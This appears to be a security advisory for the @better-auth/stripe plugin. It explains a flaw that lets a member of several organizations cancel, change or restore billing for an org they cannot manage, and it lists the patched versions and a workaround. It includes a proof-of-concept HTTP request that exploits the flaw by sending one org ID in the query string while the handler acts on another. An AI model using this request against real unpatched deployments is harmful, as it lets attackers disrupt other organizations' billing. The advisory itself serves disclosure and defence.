@better-auth/stripe: Cross-Organization Billing Authorization Bypass
A signed-in member of multiple organizations can cancel, change, restore, or open the billing portal for an org they do not manage, by passing a permitted org ID in the query string while the server…

The problem
The Stripe plugin's org subscription actions run a two-step check: a middleware reads the org ID from the query string or body and calls your authorizeReference callback, then the route handler reads the org ID from the body only, falling back to session.activeOrganizationId when the body has no ID.
This split means an attacker can pass a permitted org in the query string to satisfy the authorization check, while leaving the body empty so the handler acts on their active (target) org instead. The actions affected are cancel, change plan, restore, and open billing portal.
The target is always an org the caller already belongs to.
Proof of concept
A working proof-of-concept for this issue in @better-auth/stripe, with the exact payload below.
# Step 1: attacker sets their active org to VICTIM_ORG_ID (an org they belong to but cannot manage billing for)
# Step 2: send the action request with ALLOWED_ORG_ID (an org they CAN manage) in the query string, no organizationId in the body
POST /api/auth/stripe/cancel-subscription?organizationId=ALLOWED_ORG_ID HTTP/1.1
Host: target.example.com
Cookie: better-auth.session=<attacker_session>
Content-Type: application/json
{
"subscriptionId": "sub_victim123"
}
# Middleware sees ALLOWED_ORG_ID in the query string -> authorizeReference passes
# Handler finds no organizationId in the body -> falls back to session.activeOrganizationId (VICTIM_ORG_ID)
# Cancellation runs against VICTIM_ORG_ID, not ALLOWED_ORG_IDThe root cause is CWE-639 / CWE-863: the authorization check and the action execution read the controlling key from different sources. The middleware trusts the query string; the handler trusts the body (or session). The patch (commit 29fbcb5) resolves the org ID exactly once inside the middleware and threads that single resolved value through to the handler, so the approved org and the acted-on org are always the same object.
Before the fix, no amount of validation in authorizeReference could close the gap, because the callback was given a different ID than the one the handler would eventually use.
The fix
Upgrade to @better-auth/stripe@1.6.21 (stable) or @better-auth/stripe@1.7.0-beta.10 (beta). If you cannot upgrade immediately, add the following guard to your authorizeReference callback to force both IDs to agree:
``ts if (referenceId !== session.activeOrganizationId) { return false; } ``
This workaround works because it makes the only org that can pass authorization also be the org the handler will act on.
Reported by Taesu (@bytaesu).
Related research
- highCVE-2026-65016: n8n SSO Instance-Role Provisioning Privilege Escalation to Instance Owner
- highCVE-2026-65016CVE-2026-65016: n8n SSO Instance-Role Provisioning Privilege Escalation to Owner
- highn8n: Shared-Workflow Editor Credential Bypass via Inline Sub-Workflow JSON
- highn8n: Account Takeover via Unverified Email Claim in Embed Login Token Exchange